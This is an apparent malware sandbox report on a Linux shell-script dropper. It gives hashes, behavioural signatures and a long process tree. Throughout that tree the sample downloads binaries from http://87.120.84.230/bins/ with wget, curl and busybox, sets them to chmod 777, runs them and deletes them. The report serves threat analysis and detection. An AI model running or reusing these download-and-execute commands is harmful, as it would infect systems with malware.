e329bfb94581ca68903cc299500255516655f8e868f49a0ff27e47e9f55ad6aa

Analysis

max time kernel
28s
max time network
57s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/10/2024, 03:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e329bfb94581ca68903cc299500255516655f8e868f49a0ff27e47e9f55ad6aa.sh
Size 10KB
Sample241028-d4e96szenk
SHA256 e329bfb94581ca68903cc299500255516655f8e868f49a0ff27e47e9f55ad6aa
MD5 f1355bcf61566b8e884726b7afa77f2d
SHA1 ad708c314476785e25d5f6f0ae6f3197e3d9f904
SHA512 f0d0c07f3e32c570f67cb4e05b10b8d02429b384779c6d0dcd5963022b236efd248c606fe6e1e43e974fb986804a039df540bbf1a38198dfc4682c296198178e
SSDEEP 96:Z00fw0gjGqoiYoTProP3uZjsH4wDyuv/zQddPKQXhwXhUXh+WXhyXhCXhnsGK/zj:8+cIl/zQddPK0UgHqae/zQddrUgHqaVM
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 24 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
803	chmod
815	chmod
845	chmod
859	chmod
877	chmod
889	chmod
688	chmod
738	chmod
768	chmod
821	chmod
827	chmod
833	chmod
839	chmod
871	chmod
678	chmod
709	chmod
883	chmod
809	chmod
865	chmod
797	chmod
853	chmod
895	chmod
749	chmod
791	chmod

Executes dropped EXE 24 IoCs

Checks CPU configuration 1 TTPs 24 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 48 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 24 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA	curl
File opened for modification	/tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead	curl
File opened for modification	/tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50	curl
File opened for modification	/tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf	curl
File opened for modification	/tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1	curl
File opened for modification	/tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6	curl
File opened for modification	/tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1	curl
File opened for modification	/tmp/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M	curl
File opened for modification	/tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50	curl
File opened for modification	/tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead	curl
File opened for modification	/tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF	curl
File opened for modification	/tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6	curl
File opened for modification	/tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ	curl
File opened for modification	/tmp/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT	curl
File opened for modification	/tmp/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub	curl
File opened for modification	/tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr	curl
File opened for modification	/tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA	curl
File opened for modification	/tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF	curl
File opened for modification	/tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v	curl
File opened for modification	/tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ	curl
File opened for modification	/tmp/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5	curl
File opened for modification	/tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf	curl
File opened for modification	/tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr	curl
File opened for modification	/tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v	curl

/tmp/e329bfb94581ca68903cc299500255516655f8e868f49a0ff27e47e9f55ad6aa.sh
/tmp/e329bfb94581ca68903cc299500255516655f8e868f49a0ff27e47e9f55ad6aa.sh
1⤵
PID:646
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:652
- /usr/bin/wget
  wget http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:654
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:668
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:675
- /bin/chmod
  chmod 777 XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  ./XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - Executes dropped EXE
  PID:679
- /bin/rm
  rm XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:680
- /usr/bin/wget
  wget http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:681
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:682
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:683
- /bin/chmod
  chmod 777 jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  ./jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - Executes dropped EXE
  PID:689
- /bin/rm
  rm jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:690
- /usr/bin/wget
  wget http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:692
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:697
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:703
- /bin/chmod
  chmod 777 ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - File and Directory Permissions Modification
  PID:709
- /tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  ./ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - Executes dropped EXE
  PID:711
- /bin/rm
  rm ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:712
- /usr/bin/wget
  wget http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:713
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:719
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:729
- /bin/chmod
  chmod 777 qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  ./qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:740
- /usr/bin/wget
  wget http://87.120.84.230/bins/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  PID:748
- /bin/chmod
  chmod 777 Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  ./Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  PID:751
- /usr/bin/wget
  wget http://87.120.84.230/bins/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  PID:764
- /bin/chmod
  chmod 777 lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  ./lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  PID:771
- /usr/bin/wget
  wget http://87.120.84.230/bins/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  PID:786
- /bin/chmod
  chmod 777 XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  ./XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  PID:793
- /usr/bin/wget
  wget http://87.120.84.230/bins/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  PID:796
- /bin/chmod
  chmod 777 jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  ./jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  PID:799
- /usr/bin/wget
  wget http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:802
- /bin/chmod
  chmod 777 OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  ./OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:805
- /usr/bin/wget
  wget http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:808
- /bin/chmod
  chmod 777 B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  ./B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:811
- /usr/bin/wget
  wget http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:814
- /bin/chmod
  chmod 777 IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  ./IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:817
- /usr/bin/wget
  wget http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:820
- /bin/chmod
  chmod 777 E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  ./E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:823
- /usr/bin/wget
  wget http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:826
- /bin/chmod
  chmod 777 F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  ./F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:829
- /usr/bin/wget
  wget http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:832
- /bin/chmod
  chmod 777 ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  ./ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - Executes dropped EXE
  PID:834
- /bin/rm
  rm ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:835
- /usr/bin/wget
  wget http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:838
- /bin/chmod
  chmod 777 IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  ./IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:841
- /usr/bin/wget
  wget http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:844
- /bin/chmod
  chmod 777 E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  ./E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:847
- /usr/bin/wget
  wget http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:850
- /bin/chmod
  chmod 777 OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  ./OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:855
- /usr/bin/wget
  wget http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:856
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:858
- /bin/chmod
  chmod 777 B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  ./B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:861
- /usr/bin/wget
  wget http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:864
- /bin/chmod
  chmod 777 F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  ./F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:870
- /bin/chmod
  chmod 777 ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  ./ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:876
- /bin/chmod
  chmod 777 ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  ./ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:882
- /bin/chmod
  chmod 777 qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  ./qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:888
- /bin/chmod
  chmod 777 XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  ./XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - Executes dropped EXE
  PID:890
